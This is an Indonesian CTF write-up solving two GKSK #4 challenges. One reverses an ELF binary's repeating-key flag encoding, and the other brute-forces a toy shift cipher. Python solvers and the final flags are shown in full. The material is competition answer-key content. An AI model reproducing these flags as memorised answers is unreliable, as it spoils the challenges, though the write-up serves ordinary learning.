
Diberikan file ELF 64-bit

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Decimal 2.0]  on git:master ✗  8345d46 "GKSK#4"
2:29:44 › file Decimal_2.0
Decimal_2.0: ELF 64-bit LSB shared object x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-6
4.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b645253f1f9d0c938ac3b1f96744b2c4e899aa67, not stripped
```

Tanpa menghayal yang aneh aneh, saya langsung disassemble dengan IDAPro 64. Dan perhatian saya langsung tertuju pada function getFlag(). Dalam function tersebut terdapat input key yang digunakan untuk anu anu flag nya :v.

```
15  v10 = *MK_FP(__FS__, 40LL);
16  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v9);
17  std::operator<<<std::char_traits<char>>(&std::cout, "Masukan Key : ", v0);
18  std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v9);
19  v6 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v9);
```

Oke saya skip dulu karena memang gk tau key yg benar itu apa. Pada proses print flag terlihat bahwa terjadi penambahan nilai ascii pada setiap karakter dalam array flag sebelum akhirnya ditampilkan.

```
29  std::operator<<<std::char_traits<char>>(&std::cout, "congratulation!\nNow Your Flag Is : ", v3);
30  for ( *(&v4 + 1) = 0; *(&v4 + 1) <= 35; ++*(&v4 + 1) )
31  {
32    BYTE3(v4) = flag[*(&v4 + 1)] + dest[v5];
33    std::operator<<<std::char_traits<char>>(&std::cout, SBYTE3(v4));
34    if ( --v5 < 0 )
35      v5 = v6 - 1;
36  }
37  exit(0);
```

Kita check dulu isi array flag nya

```
.rodata:0000000000001780 ; _BYTE flag[37]
.rodata:0000000000001780 _ZL4flag        db 0Eh, 17h, 1Dh, 14h, 42h, 0Fh, 3Ch, 0FCh, 17h, 40h, 39h
.rodata:0000000000001780                                         ; DATA XREF: getFlag(void)+10D↑o
.rodata:0000000000001780                 db 28h, 1Eh, 0FDh, 3Eh, 31h, 26h, 1Eh, 0FDh, 1Fh, 2Ch
.rodata:0000000000001780                 db 3Eh, 3Dh, 2Eh, 2Ch, 31h, 29h, 0FAh, 1Ah, 2Bh, 11h, 38h
.rodata:0000000000001780                 db 36h, 0FCh, 0Eh, 46h, 0
```

Kemudian data tersebut saya coba anu anu juga menggunakan python, setelah mencoba berbagai cara untuk mendapatkan si dia. Akhirnya saya menemukan bahwa ini adalah repetition key, terlihat dalam percobaan saya berikut

```
In [1]: pattern = "GKSK{"

In [2]: flag = [0x0e, 0x17, 0x1d, 0x14, 0x42]

In [3]: key = []

In [4]: for i in range(len(pattern)):
   ...:     key.append(chr(ord(pattern[i]) - flag[i]))
   ...:

In [5]: key
Out[5]: ['9', '4', '6', '7', '9']
```

Terlihat bahwa nilai pertama dan kelima adalah 9, jika benar repetition key maka seharusnya pada karakter terakhir dalam array flag menggunakan key ‘7’ (length flag = 36)

```
In [6]: last_flag = 0x46

In [7]: last_pattern = '}'

In [8]: chr(ord(last_pattern) - last_flag)
Out[8]: '7'
```

Berikut solver yang saya buat menggunakan python

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Decimal 2.0]  on git:master ✗  8345d46 "GKSK#4"
7:49:36 › cat solver.py
flag = '''
 0Eh, 17h, 1Dh, 14h, 42h, 0Fh, 3Ch, 0FCh, 17h, 40h, 39h
 28h, 1Eh, 0FDh, 3Eh, 31h, 26h, 1Eh, 0FDh, 1Fh, 2Ch
 3Eh, 3Dh, 2Eh, 2Ch, 31h, 29h, 0FAh, 1Ah, 2Bh, 11h, 38h
 36h, 0FCh, 0Eh, 46h
'''
flag = flag.replace(' ', '0x')
flag = flag.replace(',',' ')
flag = flag.replace('h','')
flag = flag.split()
nflag = []
for i in flag:
    nflag.append(eval(i))
newf = [chr(x) for x in nflag]

pat = "GKSK"
key = ['9','4','6','7']
nkey = []
for x in key:
    nkey.append(ord(x))

ff = ''
for i in range(len(nflag)):
    ff += chr((nflag[i] + nkey[i%4])%256)

print ff
```

Okayyy… Thank you, next…

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Decimal 2.0]  on git:master ✗  8345d46 "GKSK#4"
7:49:51 › python solver.py
GKSK{Cr3Pto_W1th_R3Verseee_1S_Goo0D}
```

Ini flag anu anu nya **GKSK{Cr3Pto_W1th_R3Verseee_1S_Goo0D}**

CRYPTOGRAPHY

GKSK Crypto Service?

75 pts

Someone use **GKSK CRYPTO SERVICE** to encrypt malicious message Please decrypt it and find the secret message!

md5sum:
27bf40195ff473a85e7efff1ac14be28 GKSK_CRYPTO_SERVICE.zip

Author: **ιнριc**

Attachment : GKSK_CRYPTO_SERVICE.zip
POC :

Diberikan program dalam python yang jika dibuka dapat menyebabkan pusing, sakit kepala, bahkan depresi berkepanjangan :v

Okay, ide dari program ini adalah digunakan untuk enkripsi dan dekripsi pesan (flag) namun fungsi dekripisi belum terdapat pada program (embel-embelnya harus upgrade ke premium)

Jadi saya hanya perlu membuat fungsi dekripsi dengan membalik proses enkripsi berikut

```
def shift_key():
    key = random.randint(0x1, 0xff)
    return key

def shuffle_secret():
    secret_out = ''
    secret_str = ''.join('gksk-secret-code'.split('-'))
    for count,loop in enumerate(secret_str):
        if count % 2 == 0:
            secret_out += ''.join([chr(ord(ch) + 0x3) for ch in loop])
        else:
            secret_out += loop
    return secret_out

def encryption(plain, shift):
    try:
        ciphertext = ''
        length_msg = 50
        with open(plain, 'rb') as bin:
            data = bin.read()

        shift = int(shift)
        alphabet = shuffle_secret() * length_msg
        shifted_alphabet = alphabet[shift:] + alphabet[:shift]
        for a, b in zip(data, shifted_alphabet):
            ciphertext += chr(ord(a) + ord(b) ^ shift)

        with open(plain + '.enc', 'wb') as bin:
            bin.write(base64.b64encode(ciphertext))

    except ValueError:
        print "ValueError : Range key [0-255]"
        exit()
```

Enkripsi tersebut menggunakan secret code yang bisa kita ambil langsung dari fungsi suffle_secret() Kemudian flag d proses setiap karakternya seperti berikut

```
        for a, b in zip(data, shifted_alphabet):
            ciphertext += chr(ord(a) + ord(b) ^ shift)
```

Hasil ciphertext kemudian di encode ke base 64 lalu di write pada file

```
        with open(plain + '.enc', 'wb') as bin:
            bin.write(base64.b64encode(ciphertext))
```

Yang tidak bisa kita tentukan adalah nilai variable key karena mungkin pembuat pesan mengambil nilai random pada fungsi shift_key().

```
def shift_key():
    key = random.randint(0x1, 0xff)
    return key
```

Program solver yang saya buat menggunakan brute force nilai shift dari angka 1 hingga saya tidak tau berapa :v … program saya dalam python seperti berikut

```
secret_out = ''
from base64 import *

secret_str = ''.join('gksk-secret-code'.split('-'))
for count,loop in enumerate(secret_str):
    if count % 2 == 0:
        secret_out += ''.join([chr(ord(ch) + 0x3) for ch in loop])
    else:
        secret_out += loop
print "secret   : " +  secret_out

enc = open('flag.enc','r').read()
pattern = "GKSK{"
shift = 0
while True:
    shift += 1
    ciphertext = b64decode(enc)
    alphabet = secret_out * 50
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]

    flag = ''
    for i in range(len(ciphertext[:-1])):
        flag += chr((ord(ciphertext[i]) ^ shift) - ord(shifted_alphabet[i]))

    if pattern in flag:
        print flag
        break
```

Hasilnya seperti ini

```
bemrdo at Mrs-MacBook-Pro.local in [~/CTF-2019/GKSK #4/GKSK Crypto Service?]  on git:master ✗  8345d46 "GKSK#4"
10:59:45 › python solver.py
secret   : jkvkvefrhtfoge
will be delivering from 10 PM nos 15 pound a box and sniff aswell all night. Here's the secret code GKSK{Weak_shuffle_and
_p00r_rand0mize_make_y0u_f33l_6xs}. Please keep it secret!!
```

Ingat aja Try Harder eeaaa **GKSK{Weak_shuffle_and_p00r_rand0mize_make_y0u_f33l_6xs}**